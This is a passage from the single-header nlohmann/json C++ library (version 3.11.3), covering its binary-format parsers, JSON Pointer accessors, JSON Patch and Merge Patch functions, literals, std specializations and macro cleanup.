cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error)\n    {\n        return from_cbor(ptr, ptr + len, strict, allow_exceptions, tag_handler);\n    }\n\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_cbor(ptr, ptr + len))\n        static basic_json from_cbor(detail::span_input_adapter&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true,\n            const cbor_tag_handler_t tag_handler = cbor_tag_handler_t::error)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = i.get();\n        // NOLINTNEXTLINE(hicpp-move-const-arg,performance-move-const-arg)\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::cbor).sax_parse(input_format_t::cbor, &sdp, strict, tag_handler);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in MessagePack format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_msgpack/\n    template<typename InputType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_msgpack(InputType&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::forward<InputType>(i));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::msgpack).sax_parse(input_format_t::msgpack, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in MessagePack format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_msgpack/\n    template<typename IteratorType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_msgpack(IteratorType first, IteratorType last,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::move(first), std::move(last));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::msgpack).sax_parse(input_format_t::msgpack, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    template<typename T>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_msgpack(ptr, ptr + len))\n        static basic_json from_msgpack(const T* ptr, std::size_t len,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        return from_msgpack(ptr, ptr + len, strict, allow_exceptions);\n    }\n\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_msgpack(ptr, ptr + len))\n        static basic_json from_msgpack(detail::span_input_adapter&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = i.get();\n        // NOLINTNEXTLINE(hicpp-move-const-arg,performance-move-const-arg)\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::msgpack).sax_parse(input_format_t::msgpack, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in UBJSON format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_ubjson/\n    template<typename InputType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_ubjson(InputType&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::forward<InputType>(i));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::ubjson).sax_parse(input_format_t::ubjson, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in UBJSON format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_ubjson/\n    template<typename IteratorType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_ubjson(IteratorType first, IteratorType last,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::move(first), std::move(last));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::ubjson).sax_parse(input_format_t::ubjson, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    template<typename T>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_ubjson(ptr, ptr + len))\n        static basic_json from_ubjson(const T* ptr, std::size_t len,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        return from_ubjson(ptr, ptr + len, strict, allow_exceptions);\n    }\n\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_ubjson(ptr, ptr + len))\n        static basic_json from_ubjson(detail::span_input_adapter&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = i.get();\n        // NOLINTNEXTLINE(hicpp-move-const-arg,performance-move-const-arg)\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::ubjson).sax_parse(input_format_t::ubjson, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in BJData format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_bjdata/\n    template<typename InputType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_bjdata(InputType&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::forward<InputType>(i));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::bjdata).sax_parse(input_format_t::bjdata, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in BJData format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_bjdata/\n    template<typename IteratorType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_bjdata(IteratorType first, IteratorType last,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::move(first), std::move(last));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::bjdata).sax_parse(input_format_t::bjdata, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in BSON format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_bson/\n    template<typename InputType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_bson(InputType&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::forward<InputType>(i));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::bson).sax_parse(input_format_t::bson, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    /// @brief create a JSON value from an input in BSON format\n    /// @sa https://json.nlohmann.me/api/basic_json/from_bson/\n    template<typename IteratorType>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json from_bson(IteratorType first, IteratorType last,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = detail::input_adapter(std::move(first), std::move(last));\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::bson).sax_parse(input_format_t::bson, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n\n    template<typename T>\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_bson(ptr, ptr + len))\n        static basic_json from_bson(const T* ptr, std::size_t len,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        return from_bson(ptr, ptr + len, strict, allow_exceptions);\n    }\n\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        JSON_HEDLEY_DEPRECATED_FOR(3.8.0, from_bson(ptr, ptr + len))\n        static basic_json from_bson(detail::span_input_adapter&& i,\n            const bool strict = true,\n            const bool allow_exceptions = true)\n    {\n        basic_json result;\n        detail::json_sax_dom_parser<basic_json> sdp(result, allow_exceptions);\n        auto ia = i.get();\n        // NOLINTNEXTLINE(hicpp-move-const-arg,performance-move-const-arg)\n        const bool res = binary_reader<decltype(ia)>(std::move(ia), input_format_t::bson).sax_parse(input_format_t::bson, &sdp, strict);\n        return res ? result : basic_json(value_t::discarded);\n    }\n    /// @}\n\n    //////////////////////////\n    // JSON Pointer support //\n    //////////////////////////\n\n    /// @name JSON Pointer functions\n    /// @{\n\n    /// @brief access specified element via JSON Pointer\n    /// @sa https://json.nlohmann.me/api/basic_json/operator%5B%5D/\n    reference operator[](const json_pointer& ptr)\n    {\n        return ptr.get_unchecked(this);\n    }\n\n    template<typename BasicJsonType, detail::enable_if_t<detail::is_basic_json<BasicJsonType>::value, int> = 0>\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, basic_json::json_pointer or nlohmann::json_pointer<basic_json::string_t>) // NOLINT(readability/alt_tokens)\n        reference operator[](const ::nlohmann::json_pointer<BasicJsonType>& ptr)\n    {\n        return ptr.get_unchecked(this);\n    }\n\n    /// @brief access specified element via JSON Pointer\n    /// @sa https://json.nlohmann.me/api/basic_json/operator%5B%5D/\n    const_reference operator[](const json_pointer& ptr) const\n    {\n        return ptr.get_unchecked(this);\n    }\n\n    template<typename BasicJsonType, detail::enable_if_t<detail::is_basic_json<BasicJsonType>::value, int> = 0>\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, basic_json::json_pointer or nlohmann::json_pointer<basic_json::string_t>) // NOLINT(readability/alt_tokens)\n        const_reference operator[](const ::nlohmann::json_pointer<BasicJsonType>& ptr) const\n    {\n        return ptr.get_unchecked(this);\n    }\n\n    /// @brief access specified element via JSON Pointer\n    /// @sa https://json.nlohmann.me/api/basic_json/at/\n    reference at(const json_pointer& ptr)\n    {\n        return ptr.get_checked(this);\n    }\n\n    template<typename BasicJsonType, detail::enable_if_t<detail::is_basic_json<BasicJsonType>::value, int> = 0>\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, basic_json::json_pointer or nlohmann::json_pointer<basic_json::string_t>) // NOLINT(readability/alt_tokens)\n        reference at(const ::nlohmann::json_pointer<BasicJsonType>& ptr)\n    {\n        return ptr.get_checked(this);\n    }\n\n    /// @brief access specified element via JSON Pointer\n    /// @sa https://json.nlohmann.me/api/basic_json/at/\n    const_reference at(const json_pointer& ptr) const\n    {\n        return ptr.get_checked(this);\n    }\n\n    template<typename BasicJsonType, detail::enable_if_t<detail::is_basic_json<BasicJsonType>::value, int> = 0>\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, basic_json::json_pointer or nlohmann::json_pointer<basic_json::string_t>) // NOLINT(readability/alt_tokens)\n        const_reference at(const ::nlohmann::json_pointer<BasicJsonType>& ptr) const\n    {\n        return ptr.get_checked(this);\n    }\n\n    /// @brief return flattened JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/flatten/\n    basic_json flatten() const\n    {\n        basic_json result(value_t::object);\n        json_pointer::flatten(\"\", *this, result);\n        return result;\n    }\n\n    /// @brief unflatten a previously flattened JSON value\n    /// @sa https://json.nlohmann.me/api/basic_json/unflatten/\n    basic_json unflatten() const\n    {\n        return json_pointer::unflatten(*this);\n    }\n\n    /// @}\n\n    //////////////////////////\n    // JSON Patch functions //\n    //////////////////////////\n\n    /// @name JSON Patch functions\n    /// @{\n\n    /// @brief applies a JSON patch in-place without copying the object\n    /// @sa https://json.nlohmann.me/api/basic_json/patch/\n    void patch_inplace(const basic_json& json_patch)\n    {\n        basic_json& result = *this;\n        // the valid JSON Patch operations\n        enum class patch_operations { add, remove, replace, move, copy, test, invalid };\n\n        const auto get_op = [](const std::string& op)\n            {\n                if (op == \"add\")\n                {\n                    return patch_operations::add;\n                }\n                if (op == \"remove\")\n                {\n                    return patch_operations::remove;\n                }\n                if (op == \"replace\")\n                {\n                    return patch_operations::replace;\n                }\n                if (op == \"move\")\n                {\n                    return patch_operations::move;\n                }\n                if (op == \"copy\")\n                {\n                    return patch_operations::copy;\n                }\n                if (op == \"test\")\n                {\n                    return patch_operations::test;\n                }\n\n                return patch_operations::invalid;\n            };\n\n        // wrapper for \"add\" operation; add value at ptr\n        const auto operation_add = [&result](json_pointer& ptr, basic_json val)\n            {\n                // adding to the root of the target document means replacing it\n                if (ptr.empty())\n                {\n                    result = val;\n                    return;\n                }\n\n                // make sure the top element of the pointer exists\n                json_pointer const top_pointer = ptr.top();\n                if (top_pointer != ptr)\n                {\n                    result.at(top_pointer);\n                }\n\n                // get reference to parent of JSON pointer ptr\n                const auto last_path = ptr.back();\n                ptr.pop_back();\n                // parent must exist when performing patch add per RFC6902 specs\n                basic_json& parent = result.at(ptr);\n\n                switch (parent.m_data.m_type)\n                {\n                case value_t::null:\n                case value_t::object:\n                {\n                    // use operator[] to add value\n                    parent[last_path] = val;\n                    break;\n                }\n\n                case value_t::array:\n                {\n                    if (last_path == \"-\")\n                    {\n                        // special case: append to back\n                        parent.push_back(val);\n                    }\n                    else\n                    {\n                        const auto idx = json_pointer::template array_index<basic_json_t>(last_path);\n                        if (JSON_HEDLEY_UNLIKELY(idx > parent.size()))\n                        {\n                            // avoid undefined behavior\n                            JSON_THROW(out_of_range::create(401, detail::concat(\"array index \", std::to_string(idx), \" is out of range\"), &parent));\n                        }\n\n                        // default case: insert add offset\n                        parent.insert(parent.begin() + static_cast<difference_type>(idx), val);\n                    }\n                    break;\n                }\n\n                // if there exists a parent it cannot be primitive\n                case value_t::string: // LCOV_EXCL_LINE\n                case value_t::boolean: // LCOV_EXCL_LINE\n                case value_t::number_integer: // LCOV_EXCL_LINE\n                case value_t::number_unsigned: // LCOV_EXCL_LINE\n                case value_t::number_float: // LCOV_EXCL_LINE\n                case value_t::binary: // LCOV_EXCL_LINE\n                case value_t::discarded: // LCOV_EXCL_LINE\n                default:            // LCOV_EXCL_LINE\n                    JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n                }\n            };\n\n        // wrapper for \"remove\" operation; remove value at ptr\n        const auto operation_remove = [this, &result](json_pointer& ptr)\n            {\n                // get reference to parent of JSON pointer ptr\n                const auto last_path = ptr.back();\n                ptr.pop_back();\n                basic_json& parent = result.at(ptr);\n\n                // remove child\n                if (parent.is_object())\n                {\n                    // perform range check\n                    auto it = parent.find(last_path);\n                    if (JSON_HEDLEY_LIKELY(it != parent.end()))\n                    {\n                        parent.erase(it);\n                    }\n                    else\n                    {\n                        JSON_THROW(out_of_range::create(403, detail::concat(\"key '\", last_path, \"' not found\"), this));\n                    }\n                }\n                else if (parent.is_array())\n                {\n                    // note erase performs range check\n                    parent.erase(json_pointer::template array_index<basic_json_t>(last_path));\n                }\n            };\n\n        // type check: top level value must be an array\n        if (JSON_HEDLEY_UNLIKELY(!json_patch.is_array()))\n        {\n            JSON_THROW(parse_error::create(104, 0, \"JSON patch must be an array of objects\", &json_patch));\n        }\n\n        // iterate and apply the operations\n        for (const auto& val : json_patch)\n        {\n            // wrapper to get a value for an operation\n            const auto get_value = [&val](const std::string& op,\n                const std::string& member,\n                bool string_type) -> basic_json&\n                {\n                    // find value\n                    auto it = val.m_data.m_value.object->find(member);\n\n                    // context-sensitive error message\n                    const auto error_msg = (op == \"op\") ? \"operation\" : detail::concat(\"operation '\", op, '\\'');\n\n                    // check if desired value is present\n                    if (JSON_HEDLEY_UNLIKELY(it == val.m_data.m_value.object->end()))\n                    {\n                        // NOLINTNEXTLINE(performance-inefficient-string-concatenation)\n                        JSON_THROW(parse_error::create(105, 0, detail::concat(error_msg, \" must have member '\", member, \"'\"), &val));\n                    }\n\n                    // check if result is of type string\n                    if (JSON_HEDLEY_UNLIKELY(string_type && !it->second.is_string()))\n                    {\n                        // NOLINTNEXTLINE(performance-inefficient-string-concatenation)\n                        JSON_THROW(parse_error::create(105, 0, detail::concat(error_msg, \" must have string member '\", member, \"'\"), &val));\n                    }\n\n                    // no error: return value\n                    return it->second;\n                };\n\n            // type check: every element of the array must be an object\n            if (JSON_HEDLEY_UNLIKELY(!val.is_object()))\n            {\n                JSON_THROW(parse_error::create(104, 0, \"JSON patch must be an array of objects\", &val));\n            }\n\n            // collect mandatory members\n            const auto op = get_value(\"op\", \"op\", true).template get<std::string>();\n            const auto path = get_value(op, \"path\", true).template get<std::string>();\n            json_pointer ptr(path);\n\n            switch (get_op(op))\n            {\n            case patch_operations::add:\n            {\n                operation_add(ptr, get_value(\"add\", \"value\", false));\n                break;\n            }\n\n            case patch_operations::remove:\n            {\n                operation_remove(ptr);\n                break;\n            }\n\n            case patch_operations::replace:\n            {\n                // the \"path\" location must exist - use at()\n                result.at(ptr) = get_value(\"replace\", \"value\", false);\n                break;\n            }\n\n            case patch_operations::move:\n            {\n                const auto from_path = get_value(\"move\", \"from\", true).template get<std::string>();\n                json_pointer from_ptr(from_path);\n\n                // the \"from\" location must exist - use at()\n                basic_json const v = result.at(from_ptr);\n\n                // The move operation is functionally identical to a\n                // \"remove\" operation on the \"from\" location, followed\n                // immediately by an \"add\" operation at the target\n                // location with the value that was just removed.\n                operation_remove(from_ptr);\n                operation_add(ptr, v);\n                break;\n            }\n\n            case patch_operations::copy:\n            {\n                const auto from_path = get_value(\"copy\", \"from\", true).template get<std::string>();\n                const json_pointer from_ptr(from_path);\n\n                // the \"from\" location must exist - use at()\n                basic_json const v = result.at(from_ptr);\n\n                // The copy is functionally identical to an \"add\"\n                // operation at the target location using the value\n                // specified in the \"from\" member.\n                operation_add(ptr, v);\n                break;\n            }\n\n            case patch_operations::test:\n            {\n                bool success = false;\n                JSON_TRY\n                {\n                    // check if \"value\" matches the one at \"path\"\n                    // the \"path\" location must exist - use at()\n                    success = (result.at(ptr) == get_value(\"test\", \"value\", false));\n                }\n                    JSON_INTERNAL_CATCH(out_of_range&)\n                {\n                    // ignore out of range errors: success remains false\n                }\n\n                // throw an exception if test fails\n                if (JSON_HEDLEY_UNLIKELY(!success))\n                {\n                    JSON_THROW(other_error::create(501, detail::concat(\"unsuccessful: \", val.dump()), &val));\n                }\n\n                break;\n            }\n\n            case patch_operations::invalid:\n            default:\n            {\n                // op must be \"add\", \"remove\", \"replace\", \"move\", \"copy\", or\n                // \"test\"\n                JSON_THROW(parse_error::create(105, 0, detail::concat(\"operation value '\", op, \"' is invalid\"), &val));\n            }\n            }\n        }\n    }\n\n    /// @brief applies a JSON patch to a copy of the current object\n    /// @sa https://json.nlohmann.me/api/basic_json/patch/\n    basic_json patch(const basic_json& json_patch) const\n    {\n        basic_json result = *this;\n        result.patch_inplace(json_patch);\n        return result;\n    }\n\n    /// @brief creates a diff as a JSON patch\n    /// @sa https://json.nlohmann.me/api/basic_json/diff/\n    JSON_HEDLEY_WARN_UNUSED_RESULT\n        static basic_json diff(const basic_json& source, const basic_json& target,\n            const std::string& path = \"\")\n    {\n        // the patch\n        basic_json result(value_t::array);\n\n        // if the values are the same, return empty patch\n        if (source == target)\n        {\n            return result;\n        }\n\n        if (source.type() != target.type())\n        {\n            // different types: replace value\n            result.push_back(\n                {\n                    {\"op\", \"replace\"}, {\"path\", path}, {\"value\", target}\n                });\n            return result;\n        }\n\n        switch (source.type())\n        {\n        case value_t::array:\n        {\n            // first pass: traverse common elements\n            std::size_t i = 0;\n            while (i < source.size() && i < target.size())\n            {\n                // recursive call to compare array values at index i\n                auto temp_diff = diff(source[i], target[i], detail::concat(path, '/', std::to_string(i)));\n                result.insert(result.end(), temp_diff.begin(), temp_diff.end());\n                ++i;\n            }\n\n            // We now reached the end of at least one array\n            // in a second pass, traverse the remaining elements\n\n            // remove my remaining elements\n            const auto end_index = static_cast<difference_type>(result.size());\n            while (i < source.size())\n            {\n                // add operations in reverse order to avoid invalid\n                // indices\n                result.insert(result.begin() + end_index, object(\n                    {\n                        {\"op\", \"remove\"},\n                        {\"path\", detail::concat(path, '/', std::to_string(i))}\n                    }));\n                ++i;\n            }\n\n            // add other remaining elements\n            while (i < target.size())\n            {\n                result.push_back(\n                    {\n                        {\"op\", \"add\"},\n                        {\"path\", detail::concat(path, \"/-\")},\n                        {\"value\", target[i]}\n                    });\n                ++i;\n            }\n\n            break;\n        }\n\n        case value_t::object:\n        {\n            // first pass: traverse this object's elements\n            for (auto it = source.cbegin(); it != source.cend(); ++it)\n            {\n                // escape the key name to be used in a JSON patch\n                const auto path_key = detail::concat(path, '/', detail::escape(it.key()));\n\n                if (target.find(it.key()) != target.end())\n                {\n                    // recursive call to compare object values at key it\n                    auto temp_diff = diff(it.value(), target[it.key()], path_key);\n                    result.insert(result.end(), temp_diff.begin(), temp_diff.end());\n                }\n                else\n                {\n                    // found a key that is not in o -> remove it\n                    result.push_back(object(\n                        {\n                            {\"op\", \"remove\"}, {\"path\", path_key}\n                        }));\n                }\n            }\n\n            // second pass: traverse other object's elements\n            for (auto it = target.cbegin(); it != target.cend(); ++it)\n            {\n                if (source.find(it.key()) == source.end())\n                {\n                    // found a key that is not in this -> add it\n                    const auto path_key = detail::concat(path, '/', detail::escape(it.key()));\n                    result.push_back(\n                        {\n                            {\"op\", \"add\"}, {\"path\", path_key},\n                            {\"value\", it.value()}\n                        });\n                }\n            }\n\n            break;\n        }\n\n        case value_t::null:\n        case value_t::string:\n        case value_t::boolean:\n        case value_t::number_integer:\n        case value_t::number_unsigned:\n        case value_t::number_float:\n        case value_t::binary:\n        case value_t::discarded:\n        default:\n        {\n            // both primitive type: replace value\n            result.push_back(\n                {\n                    {\"op\", \"replace\"}, {\"path\", path}, {\"value\", target}\n                });\n            break;\n        }\n        }\n\n        return result;\n    }\n    /// @}\n\n    ////////////////////////////////\n    // JSON Merge Patch functions //\n    ////////////////////////////////\n\n    /// @name JSON Merge Patch functions\n    /// @{\n\n    /// @brief applies a JSON Merge Patch\n    /// @sa https://json.nlohmann.me/api/basic_json/merge_patch/\n    void merge_patch(const basic_json& apply_patch)\n    {\n        if (apply_patch.is_object())\n        {\n            if (!is_object())\n            {\n                *this = object();\n            }\n            for (auto it = apply_patch.begin(); it != apply_patch.end(); ++it)\n            {\n                if (it.value().is_null())\n                {\n                    erase(it.key());\n                }\n                else\n                {\n                    operator[](it.key()).merge_patch(it.value());\n                }\n            }\n        }\n        else\n        {\n            *this = apply_patch;\n        }\n    }\n\n    /// @}\n};\n\n/// @brief user-defined to_string function for JSON values\n/// @sa https://json.nlohmann.me/api/basic_json/to_string/\nNLOHMANN_BASIC_JSON_TPL_DECLARATION\nstd::string to_string(const NLOHMANN_BASIC_JSON_TPL& j)\n{\n    return j.dump();\n}\n\ninline namespace literals\n{\n    inline namespace json_literals\n    {\n\n        /// @brief user-defined string literal for JSON values\n        /// @sa https://json.nlohmann.me/api/basic_json/operator_literal_json/\n        JSON_HEDLEY_NON_NULL(1)\n#if !defined(JSON_HEDLEY_GCC_VERSION) || JSON_HEDLEY_GCC_VERSION_CHECK(4,9,0)\n            inline nlohmann::json operator \"\"_json(const char* s, std::size_t n)\n#else\n            inline nlohmann::json operator \"\" _json(const char* s, std::size_t n)\n#endif\n        {\n            return nlohmann::json::parse(s, s + n);\n        }\n\n        /// @brief user-defined string literal for JSON pointer\n        /// @sa https://json.nlohmann.me/api/basic_json/operator_literal_json_pointer/\n        JSON_HEDLEY_NON_NULL(1)\n#if !defined(JSON_HEDLEY_GCC_VERSION) || JSON_HEDLEY_GCC_VERSION_CHECK(4,9,0)\n            inline nlohmann::json::json_pointer operator \"\"_json_pointer(const char* s, std::size_t n)\n#else\n            inline nlohmann::json::json_pointer operator \"\" _json_pointer(const char* s, std::size_t n)\n#endif\n        {\n            return nlohmann::json::json_pointer(std::string(s, n));\n        }\n\n    }  // namespace json_literals\n}  // namespace literals\nNLOHMANN_JSON_NAMESPACE_END\n\n///////////////////////\n// nonmember support //\n///////////////////////\n\nnamespace std // NOLINT(cert-dcl58-cpp)\n{\n\n    /// @brief hash value for JSON objects\n    /// @sa https://json.nlohmann.me/api/basic_json/std_hash/\n    NLOHMANN_BASIC_JSON_TPL_DECLARATION\n        struct hash<nlohmann::NLOHMANN_BASIC_JSON_TPL> // NOLINT(cert-dcl58-cpp)\n    {\n        std::size_t operator()(const nlohmann::NLOHMANN_BASIC_JSON_TPL& j) const\n        {\n            return nlohmann::detail::hash(j);\n        }\n    };\n\n    // specialization for std::less<value_t>\n    template<>\n    struct less< ::nlohmann::detail::value_t> // do not remove the space after '<', see https://github.com/nlohmann/json/pull/679\n    {\n        /*!\n        @brief compare two value_t enum values\n        @since version 3.0.0\n        */\n        bool operator()(::nlohmann::detail::value_t lhs,\n            ::nlohmann::detail::value_t rhs) const noexcept\n        {\n#if JSON_HAS_THREE_WAY_COMPARISON\n            return std::is_lt(lhs <=> rhs); // *NOPAD*\n#else\n            return ::nlohmann::detail::operator<(lhs, rhs);\n#endif\n        }\n    };\n\n    // C++20 prohibit function specialization in the std namespace.\n#ifndef JSON_HAS_CPP_20\n\n/// @brief exchanges the values of two JSON objects\n/// @sa https://json.nlohmann.me/api/basic_json/std_swap/\n    NLOHMANN_BASIC_JSON_TPL_DECLARATION\n        inline void swap(nlohmann::NLOHMANN_BASIC_JSON_TPL& j1, nlohmann::NLOHMANN_BASIC_JSON_TPL& j2) noexcept(  // NOLINT(readability-inconsistent-declaration-parameter-name, cert-dcl58-cpp)\n            is_nothrow_move_constructible<nlohmann::NLOHMANN_BASIC_JSON_TPL>::value&&                          // NOLINT(misc-redundant-expression,cppcoreguidelines-noexcept-swap,performance-noexcept-swap)\n            is_nothrow_move_assignable<nlohmann::NLOHMANN_BASIC_JSON_TPL>::value)\n    {\n        j1.swap(j2);\n    }\n\n#endif\n\n}  // namespace std\n\n#if JSON_USE_GLOBAL_UDLS\n#if !defined(JSON_HEDLEY_GCC_VERSION) || JSON_HEDLEY_GCC_VERSION_CHECK(4,9,0)\nusing nlohmann::literals::json_literals::operator \"\"_json; // NOLINT(misc-unused-using-decls,google-global-names-in-headers)\nusing nlohmann::literals::json_literals::operator \"\"_json_pointer; //NOLINT(misc-unused-using-decls,google-global-names-in-headers)\n#else\nusing nlohmann::literals::json_literals::operator \"\" _json; // NOLINT(misc-unused-using-decls,google-global-names-in-headers)\nusing nlohmann::literals::json_literals::operator \"\" _json_pointer; //NOLINT(misc-unused-using-decls,google-global-names-in-headers)\n#endif\n#endif\n\n// #include <nlohmann/detail/macro_unscope.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// restore clang diagnostic settings\n#if defined(__clang__)\n#pragma clang diagnostic pop\n#endif\n\n// clean up\n#undef JSON_ASSERT\n#undef JSON_INTERNAL_CATCH\n#undef JSON_THROW\n#undef JSON_PRIVATE_UNLESS_TESTED\n#undef NLOHMANN_BASIC_JSON_TPL_DECLARATION\n#undef NLOHMANN_BASIC_JSON_TPL\n#undef JSON_EXPLICIT\n#undef NLOHMANN_CAN_CALL_STD_FUNC_IMPL\n#undef JSON_INLINE_VARIABLE\n#undef JSON_NO_UNIQUE_ADDRESS\n#undef JSON_DISABLE_ENUM_SERIALIZATION\n#undef JSON_USE_GLOBAL_UDLS\n\n#ifndef JSON_TEST_KEEP_MACROS\n#undef JSON_CATCH\n#undef JSON_TRY\n#undef JSON_HAS_CPP_11\n#undef JSON_HAS_CPP_14\n#undef JSON_HAS_CPP_17\n#undef JSON_HAS_CPP_20\n#undef JSON_HAS_FILESYSTEM\n#undef JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#undef JSON_HAS_THREE_WAY_COMPARISON\n#undef JSON_HAS_RANGES\n#undef JSON_HAS_STATIC_RTTI\n#undef JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON\n#endif\n\n// #include <nlohmann/thirdparty/hedley/hedley_undef.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#undef JSON_HEDLEY_ALWAYS_INLINE\n#undef JSON_HEDLEY_ARM_VERSION\n#undef JSON_HEDLEY_ARM_VERSION_CHECK\n#undef JSON_HEDLEY_ARRAY_PARAM\n#undef JSON_HEDLEY_ASSUME\n#undef JSON_HEDLEY_BEGIN_C_DECLS\n#undef JSON_HEDLEY_CLANG_HAS_ATTRIBUTE\n#undef JSON_HEDLEY_CLANG_HAS_BUILTIN\n#undef JSON_HEDLEY_CLANG_HAS_CPP_ATTRIBUTE\n#undef JSON_HEDLEY_CLANG_HAS_DECLSPEC_DECLSPEC_ATTRIBUTE\n#undef JSON_HEDLEY_CLANG_HAS_EXTENSION\n#undef JSON_HEDLEY_CLANG_HAS_FEATURE\n#undef JSON_HEDLEY_CLANG_HAS_WARNING\n#undef 